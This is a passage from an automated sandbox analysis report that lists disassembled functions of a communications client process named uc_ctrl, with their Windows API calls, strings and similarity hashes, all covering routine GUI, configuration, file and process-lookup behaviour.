Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 39fb0906e3a5f1d6309373be30d47d5a8f82d7f50d3dc4b9821f63c0dd148f3b
Instruction ID: 3129cd52a68d6edeef131c7234db09f05c590740ec160333d8aeed07ca4f9005
Opcode Fuzzy Hash: 39fb0906e3a5f1d6309373be30d47d5a8f82d7f50d3dc4b9821f63c0dd148f3b
Instruction Fuzzy Hash: 0FE08633944224AB8B325F569C008DB776CEFD23A47054836FD28A3610E671956582F4

Function 6C67A91A Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(8007000E,?,00000006,?,6C67B0E8,8007000E,?,00000000,00000000,?,6C67B0D1,00000000,8007000E,8007000E,?), ref: 6C67A92D

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: FindResource
String ID:
API String ID: 1635176832-0
Opcode ID: 3b19238bca572a4ca358fa079897f76a9c68f6b344017338f850e70acc4ff237
Instruction ID: f399ab5e0e556df84fabefb2536793e74df0d584930e5ffe649f048bd5630cf5
Opcode Fuzzy Hash: 3b19238bca572a4ca358fa079897f76a9c68f6b344017338f850e70acc4ff237
Instruction Fuzzy Hash: 5DD05E7121010C7FEF011E55EC00EBA3BADEB80618F009061FC4DC9560E732DA61AA64

Function 6C679AA0 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

allocator.LIBCONCRTD ref: 6C679AAE

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: allocator
String ID:
API String ID: 3447690668-0
Opcode ID: 671d9d7ba61936d4a068247781cc2f925fbd66ffd20b79b1b6846982941532a6
Instruction ID: d9c50aad563a0b256fd08aead29e718f4089fd033ffb3c4d385b44a1f6643b7c
Opcode Fuzzy Hash: 671d9d7ba61936d4a068247781cc2f925fbd66ffd20b79b1b6846982941532a6
Instruction Fuzzy Hash: 06C04CB190910CBB8B14DF89E941C9EB7FCDB59354F1041A9BD0997700DA716E10D7ED

Function 6C685CD2 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 6C685CE1

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: DeleteObject
String ID:
API String ID: 1531683806-0
Opcode ID: 9bb76d56a008783a38242539273b19551d5b251735c9c69bda0c3fdf7e423f3a
Instruction ID: 527fc879e8f4bbdf5aaef2f02eed490195e34795d860618a8ed14722abd0bed6
Opcode Fuzzy Hash: 9bb76d56a008783a38242539273b19551d5b251735c9c69bda0c3fdf7e423f3a
Instruction Fuzzy Hash: C8B012B0903104BEEF405730C50C7163AF49B4A30FF1489ACE406C6411DB39C0C6CD2C

Function 6C6619A0 Relevance: 1.5, APIs: 1, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: File$CreateModuleNamePathReadRemoveSizeSpec
String ID:
API String ID: 2445516684-0
Opcode ID: 722ecd883254754d59fb4f8e6da862ec418ad38cbfd20b7f2ae20507dda5c798
Instruction ID: 473d9962175808cca67b6bbc78327bff1f22e7cdc024b2b99308bae77354f8ab
Opcode Fuzzy Hash: 722ecd883254754d59fb4f8e6da862ec418ad38cbfd20b7f2ae20507dda5c798
Instruction Fuzzy Hash:

Non-executed Functions

Function 00776C80 Relevance: 86.3, APIs: 39, Strings: 10, Instructions: 541windowCOMMON

Download Yara Rule

APIs

?SetInstance@CPaintManagerUI@UiLib@@SAXPAUHINSTANCE__@@@Z.UC_GUILIB(?), ref: 00776CA5
?GetInstancePath@CPaintManagerUI@UiLib@@SA?AVCDuiString@2@XZ.UC_GUILIB(?), ref: 00776CBC
??HCDuiString@UiLib@@QBE?AV01@PB_W@Z.UC_GUILIB(?,..\data\skins\), ref: 00776CD2
??BCDuiString@UiLib@@QBEPB_WXZ.UC_GUILIB ref: 00776CE0
?SetResourcePath@CPaintManagerUI@UiLib@@SAXPB_W@Z.UC_GUILIB(00000000), ref: 00776CE3
??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB ref: 00776CF6
?GetInstance@CSkinConfigUI@UiLib@@SAPAV12@XZ.UC_GUILIB(skin.xml), ref: 00776CFD
?Init@CSkinConfigUI@UiLib@@QAE_NPB_W@Z.UC_GUILIB ref: 00776D05
??HCDuiString@UiLib@@QBE?AV01@PB_W@Z.UC_GUILIB(?,SkinRes.dll,SKINDATA), ref: 00776D21
??BCDuiString@UiLib@@QBEPB_WXZ.UC_GUILIB ref: 00776D29
?SetResourceDll@CPaintManagerUI@UiLib@@SAXPB_W0@Z.UC_GUILIB(00000000), ref: 00776D2C
??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB ref: 00776D39

Part of subcall function 007764F0: GetProcessHeap.KERNEL32(00000000), ref: 00776531

memset.VCRUNTIME140(?,00000000,00000208), ref: 00776D68
SHGetMalloc.SHELL32(?), ref: 00776D83
SHGetSpecialFolderLocation.SHELL32(00000000,00000005,00000000), ref: 00776D9D
SHGetPathFromIDListW.SHELL32(?,?), ref: 00776DBA
?GetInstancePath@CPaintManagerUI@UiLib@@SA?AVCDuiString@2@XZ.UC_GUILIB(?), ref: 00776EDB
??BCDuiString@UiLib@@QBEPB_WXZ.UC_GUILIB ref: 00776EE2
??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB(00000000), ref: 00776EF9
memset.VCRUNTIME140(?,00000000,00000200,0077A9B4,00000000), ref: 00776F72
GetPrivateProfileStringW.KERNEL32(0077B144,root_data_path,00000010,?,000000FF,?), ref: 00776FAA
memmove.VCRUNTIME140(00000007,\config\config.ini,00000024,?,?,?,?), ref: 007770DB
GetPrivateProfileIntW.KERNEL32(0077B188,language,00000804,?), ref: 00777174
??HCDuiString@UiLib@@QBE?AV01@PB_W@Z.UC_GUILIB(?,..\language\,?,?,?,?,?,uc.ini,00000006), ref: 007771C9
??BCDuiString@UiLib@@QBEPB_WXZ.UC_GUILIB(?,?,?,?,uc.ini,00000006), ref: 007771D1
?SetLanguagePath@CLanguageUI@UiLib@@SAXPB_W0@Z.UC_GUILIB(00000000,?,?,?,?,uc.ini,00000006), ref: 007771D8
??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB(?,?,?,?,?,?,uc.ini,00000006), ref: 007771E5
GdiplusStartup.GDIPLUS(?,?,00000001,?), ref: 00777225
CoInitialize.OLE32(00000000), ref: 0077722D
LoadIconW.USER32(?,0000006B), ref: 00777241
memset.VCRUNTIME140(00000000,00000000,00000834,00000000,?,?,?,?,?,?,uc.ini,00000006), ref: 00777262
??0WindowImplBase@UiLib@@QAE@XZ.UC_GUILIB(?,?,?,00000000,?,?,?,?,?,?,uc.ini,00000006), ref: 0077726C
?Create@CWindowWnd@UiLib@@QAEPAUHWND__@@PAU3@PB_WKKPAUHICON__@@HHHHPAUHMENU__@@@Z.UC_GUILIB(00000000,00000000,96C80000,00000000,?,80000000,80000000,80000000,80000000,00000000), ref: 0077735A
?CenterWindow@CWindowWnd@UiLib@@QAEXHH_N@Z.UC_GUILIB(00000000,00000000,00000001), ref: 00777368
?ShowWindow@CWindowWnd@UiLib@@QAEX_N0@Z.UC_GUILIB(00000001,00000001), ref: 00777374
?MessageLoop@CPaintManagerUI@UiLib@@SAXXZ.UC_GUILIB ref: 0077737A
GdiplusShutdown.GDIPLUS(?), ref: 00777387
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000001,?), ref: 00777457
??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB(?,?,00000001,?), ref: 007774A3

Strings

..\language\, xrefs: 007771C3
skin.xml, xrefs: 00776CF8
SkinRes.dll, xrefs: 00776D10
uc.ini, xrefs: 00776EFD
root_data_path, xrefs: 00776FA0
..\data\skins\, xrefs: 00776CCC
SKINDATA, xrefs: 00776D0B
\UCaaS9 Files\, xrefs: 00776E46, 00776E5B
\config\config.ini, xrefs: 007770CB
language, xrefs: 0077716A

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: Lib@@$String@$ManagerPaint$Path@Window$V01@Wnd@memset$ConfigGdiplusInstanceInstance@LanguagePrivateProfileResourceSkinString@2@Window@$Base@CenterCreate@D__@@Dll@E__@@@FolderFromHeapIconImplInit@InitializeListLoadLocationLoop@MallocMessageN__@@PathProcessShowShutdownSpecialStartupStringU__@@@V12@_invalid_parameter_noinfo_noreturnmemmove
String ID: ..\data\skins\$..\language\$SKINDATA$SkinRes.dll$\UCaaS9 Files\$\config\config.ini$language$root_data_path$skin.xml$uc.ini
API String ID: 2682703741-917251667
Opcode ID: c184aeb685d03eeb443ef9e1344309cfbd9a9d77a5bd75021b4c9885c168cae3
Instruction ID: 79ee7be5f254b7a43ae5911c6cfa3a5b4426bc2143f3614f96db2ff3159e5465
Opcode Fuzzy Hash: c184aeb685d03eeb443ef9e1344309cfbd9a9d77a5bd75021b4c9885c168cae3
Instruction Fuzzy Hash: 4B228F70204381DBEB24DF64CC59B9EB7E5BF84345F04C92CE94D8B291EB799544CBA2

Function 6C6A2C80 Relevance: 27.4, APIs: 18, Instructions: 379windowCOMMON

Download Yara Rule

APIs

MessageBeep.USER32 ref: 6C6A2CA6
SendMessageW.USER32(?,000000B0,?,?), ref: 6C6A2CED

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Message$BeepSend
String ID:
API String ID: 1008054038-0
Opcode ID: 6162b2ba0b26a1749b9d54e99c64d74e1070f8d59c4592f425a303104f9f7fd5
Instruction ID: 5caf7ef17c254a03ff77b504f027c03cbe22b66b99f19081d04a6340fcbd45cc
Opcode Fuzzy Hash: 6162b2ba0b26a1749b9d54e99c64d74e1070f8d59c4592f425a303104f9f7fd5
Instruction Fuzzy Hash: A1D13B75A40508FFCF11DBE5C888EDEBBB9FB09314F1006A5E515E3690D730AE869B68

Function 6C6E2D52 Relevance: 26.6, APIs: 13, Strings: 2, Instructions: 388windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C6E2D59
BitBlt.GDI32(?,?,?,?,?,?,00000000,00000000,00CC0020), ref: 6C6E2F8E
DeleteObject.GDI32(?), ref: 6C6E2FA5
MulDiv.KERNEL32(?,00000000,00000064), ref: 6C6E3141
MulDiv.KERNEL32(?,00000000,00000064), ref: 6C6E315E
MulDiv.KERNEL32(?,00000000,00000064), ref: 6C6E317D
MulDiv.KERNEL32(6C69CE03,00000000,00000064), ref: 6C6E319A
MulDiv.KERNEL32(?,00000000,00000064), ref: 6C6E31B6
MulDiv.KERNEL32(?,00000000,00000064), ref: 6C6E31D3

Strings

xa~l, xrefs: 6C6E2E1F
d, xrefs: 6C6E2DAE

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: DeleteH_prolog3Object
String ID: d$xa~l
API String ID: 2942389277-79705412
Opcode ID: fc25b1d106104f15c347d2681571db552288629ab13cc64197701c1587a32dae
Instruction ID: a04f1e3c9bb2b0afed03a1bd9d15ca3bdf97d57e89d61822ffdeed17cc5afcf8
Opcode Fuzzy Hash: fc25b1d106104f15c347d2681571db552288629ab13cc64197701c1587a32dae
Instruction Fuzzy Hash: 38E1EC71A0522A9FDB04CFA9CD49AEEBBF1EF49304F00416AF415EB691CB34C915CB68

Function 6C92EA18 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(0123456789abcdefABCDEF,00000000,00000016,?,00000001,00000000), ref: 6C92EA7B
memchr.VCRUNTIME140(0123456789abcdefABCDEF,00000000,00000016), ref: 6C92EAB3
localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92EAC3
memchr.VCRUNTIME140(0123456789abcdefABCDEF,00000000,00000016), ref: 6C92EAFA
memchr.VCRUNTIME140(0123456789abcdefABCDEF,00000000,00000016), ref: 6C92EB30
isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000007,00000007), ref: 6C92EC2C
isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C92EC55

Strings

0123456789abcdefABCDEF, xrefs: 6C92EA76, 6C92EA93, 6C92EAAE, 6C92EAF5, 6C92EB12, 6C92EB2B
-, xrefs: 6C92EC66

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: memchr$isdigit$localeconv
String ID: -$0123456789abcdefABCDEF
API String ID: 1981154758-65984393
Opcode ID: cd3d4015af6dc6419e377ad019c025f15a20f86f5b4110b8b45ceea907b4f9a3
Instruction ID: f2efda049814b9ce569f0e97cb4cc778e5c62ad7a72de2bd58180b9cf10d8145
Opcode Fuzzy Hash: cd3d4015af6dc6419e377ad019c025f15a20f86f5b4110b8b45ceea907b4f9a3
Instruction Fuzzy Hash: 07A1FF70E192588FDB05CFB9D4C02ADBBF9EF4A315F24446AE8D6E7645D638C902CB90

Function 6C696945 Relevance: 13.6, APIs: 9, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetPropW.USER32(?), ref: 6C69696B
GlobalLock.KERNEL32(00000000), ref: 6C696974
SendMessageW.USER32(?,00000476,00000000,00000000), ref: 6C69698F
GlobalUnlock.KERNEL32(00000000), ref: 6C69699A
RemovePropW.USER32(?), ref: 6C6969A9
GlobalFree.KERNEL32(00000000), ref: 6C6969B4

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Global$Prop$FreeLockMessageRemoveSendUnlock
String ID:
API String ID: 2391254433-0
Opcode ID: f4efd9d26b7d5992807d6a819133e507232980e1f7c1868dfc43f84c9dbe873f
Instruction ID: 0935b7673dc5f96d3efd4c93d5e0a03d14fe63ee2b0c573991c248ce0251fe0a
Opcode Fuzzy Hash: f4efd9d26b7d5992807d6a819133e507232980e1f7c1868dfc43f84c9dbe873f
Instruction Fuzzy Hash: 7F218072341303ABDE945B31CC08B66BB79BB0A749B108435F556E2961DB71D410CBE8

Function 6C68E966 Relevance: 12.1, APIs: 8, Instructions: 131fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C68E970
GetFullPathNameW.KERNEL32(?,00000104,00000000,?,00000268,6C68E236,?,?,00000000,?,6C6919C3,00000024,?,?,?), ref: 6C68E9A0

Part of subcall function 6C67FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6C67FBB9

PathIsUNCW.SHLWAPI(?,?,?,00000000,?,6C6919C3,00000024,?,?,?), ref: 6C68EA18
GetVolumeInformationW.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,6C6919C3,00000024,?,?,?), ref: 6C68EA3C
CharUpperW.USER32(?,?,6C6919C3,00000024,?,?,?), ref: 6C68EA6A
FindFirstFileW.KERNEL32(?,?,?,6C6919C3,00000024,?,?,?), ref: 6C68EA82
FindClose.KERNEL32(00000000,?,6C6919C3,00000024,?,?,?), ref: 6C68EA8E
_wcslen.LIBCMT ref: 6C68EAAD

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: FindPath$CharCloseException@8FileFirstFullH_prolog3_InformationNameThrowUpperVolume_wcslen
String ID:
API String ID: 3015096244-0
Opcode ID: 0fa3bec38e00a068656f8effbdbff47cee07aef2350af6689cc1f3d8f6e0a95a
Instruction ID: 6a627f3b964283710c28a89bd656bb3d51de3505b7aa61a52ee824d6a4aa3832
Opcode Fuzzy Hash: 0fa3bec38e00a068656f8effbdbff47cee07aef2350af6689cc1f3d8f6e0a95a
Instruction Fuzzy Hash: E641A775906515ABEF60EF64CC8CFEE737CBF02708F004695E415A2A50EB75DE488AB8

Function 6C696E75 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 194comCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C696E7F
GetVersionExW.KERNEL32(00000114), ref: 6C696F07
_wcschr.LIBVCRUNTIME ref: 6C697067
CoInitializeEx.OLE32(00000000,00000002), ref: 6C697091
CoCreateInstance.OLE32(6C80FE2C,00000000,00000001,6C7E81E4,?), ref: 6C6970D8

Strings

@, xrefs: 6C696FEA

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: CreateH_prolog3_InitializeInstanceVersion_wcschr
String ID: @
API String ID: 2940554968-2766056989
Opcode ID: 00298a15c3190c7df5b254b122f3a0b9e820302550aff85dfd9a876fb1c4af2c
Instruction ID: c74f55f4498d4dd7076a3883a777f9d7bdf1dde73b4e2860d5c4ed905c18344a
Opcode Fuzzy Hash: 00298a15c3190c7df5b254b122f3a0b9e820302550aff85dfd9a876fb1c4af2c
Instruction Fuzzy Hash: 4A816BB1B01706AFD758CF28C944BDAB7B4BF09318F004659E958E7750DB30A958CFA9

Function 00773840 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 190processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0077388C

Part of subcall function 007764F0: GetProcessHeap.KERNEL32(00000000), ref: 00776531

Part of subcall function 00774CB0: FindResourceExW.KERNEL32(00000000,00000006,?,00000000,00000000,p#w,00000000,?,00000000,?,00774BE1,p#w,?,?,00000000,00000000), ref: 00774CF6

Process32FirstW.KERNEL32(00000000,?), ref: 007738FC
_wcslwr_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 007739A3
wcsstr.VCRUNTIME140(?,000000FF), ref: 007739C9
Process32NextW.KERNEL32(?,0000022C), ref: 00773A25

Strings

ucaas.exe, xrefs: 007738BC, 007738D6

Memory Dump Source

